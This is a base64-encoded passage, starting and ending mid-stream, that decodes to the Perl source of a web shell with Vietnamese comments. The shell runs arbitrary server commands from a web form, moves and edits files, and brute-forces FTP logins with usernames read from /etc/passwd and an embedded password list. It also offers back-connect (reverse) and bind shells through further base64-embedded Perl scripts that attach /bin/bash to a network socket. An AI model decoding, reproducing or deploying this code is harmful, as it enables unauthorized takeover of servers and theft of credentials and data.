WJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVt